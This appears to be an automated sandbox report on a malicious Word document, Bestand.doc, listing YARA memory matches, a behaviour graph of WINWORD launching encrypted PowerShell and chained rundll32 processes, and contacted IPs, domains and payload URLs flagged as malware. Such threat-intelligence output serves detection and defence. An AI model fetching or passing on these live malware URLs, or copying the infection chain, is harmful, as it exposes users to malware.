Source: Yara match File source: 0000000A.00000002.2099552528.0000000000251000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100964002.00000000002D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2098980384.00000000007A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2101819334.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2095079967.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2106652050.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2095095758.00000000006C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100913831.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2104289141.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2104205195.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.6f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.7a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 337085 Sample: Bestand.doc Startdate: 07/01/2021 Architecture: WINDOWS Score: 100 55 Multi AV Scanner detection for domain / URL 2->55 57 Antivirus detection for URL or domain 2->57 59 Multi AV Scanner detection for submitted file 2->59 61 13 other signatures 2->61 14 cmd.exe 2->14         started        17 WINWORD.EXE 293 27 2->17         started        process3 signatures4 75 Suspicious powershell command line found 14->75 77 Very long command line found 14->77 79 Encrypted powershell cmdline option found 14->79 81 PowerShell case anomaly found 14->81 19 powershell.exe 12 9 14->19         started        22 msg.exe 14->22         started        process5 dnsIp6 47 seo.udaipurkart.com 103.92.235.25, 49170, 80 ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN India 19->47 49 hangarlastik.com 89.252.164.58, 49167, 80 NETINTERNETNetinternetBilisimTeknolojileriASTR Turkey 19->49 51 2 other IPs or domains 19->51 24 rundll32.exe 19->24         started        process7 process8 26 rundll32.exe 15 24->26         started        signatures9 69 Hides that the sample has been downloaded from the Internet (zone.identifier) 26->69 29 rundll32.exe 5 26->29         started        process10 signatures11 73 Hides that the sample has been downloaded from the Internet (zone.identifier) 29->73 32 rundll32.exe 5 29->32         started        process12 signatures13 53 Hides that the sample has been downloaded from the Internet (zone.identifier) 32->53 35 rundll32.exe 5 32->35         started        process14 signatures15 63 Hides that the sample has been downloaded from the Internet (zone.identifier) 35->63 38 rundll32.exe 5 35->38         started        process16 signatures17 65 Hides that the sample has been downloaded from the Internet (zone.identifier) 38->65 41 rundll32.exe 5 38->41         started        process18 signatures19 67 Hides that the sample has been downloaded from the Internet (zone.identifier) 41->67 44 rundll32.exe 5 41->44         started        process20 signatures21 71 Hides that the sample has been downloaded from the Internet (zone.identifier) 44->71
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
89.252.164.58
unknown Turkey
51559 NETINTERNETNetinternetBilisimTeknolojileriASTR true
173.255.195.246
unknown United States
63949 LINODE-APLinodeLLCUS true
5.2.136.90
unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO true
103.92.235.25
unknown India
138251 ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN true
66.153.205.191
unknown United States
21565 AS21565US true

Contacted Domains

Name IP Active
sarture.com 173.255.195.246 true
hangarlastik.com 89.252.164.58 true
seo.udaipurkart.com 103.92.235.25 true
padreescapes.com 66.153.205.191 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://hangarlastik.com/cgi-sys/suspendedpage.cgi true
  • 2%, Virustotal, Browse
  • Avira URL Cloud: safe
unknown
http://5.2.136.90/1b05ye92bd1jr3/zyv623ztls/15s4sj3gl56q/ true
  • Avira URL Cloud: safe
unknown
http://hangarlastik.com/cgi-bin/Ui4n/ true
  • Avira URL Cloud: malware
unknown
http://sarture.com/wp-includes/JD8/ true
  • Avira URL Cloud: malware
unknown
http://padreescapes.com/blog/0I/ true
  • Avira URL Cloud: safe
unknown
http://seo.udaipurkart.com/rx-5700-6hnr7/Sgms/ true
  • Avira URL Cloud: malware
unknown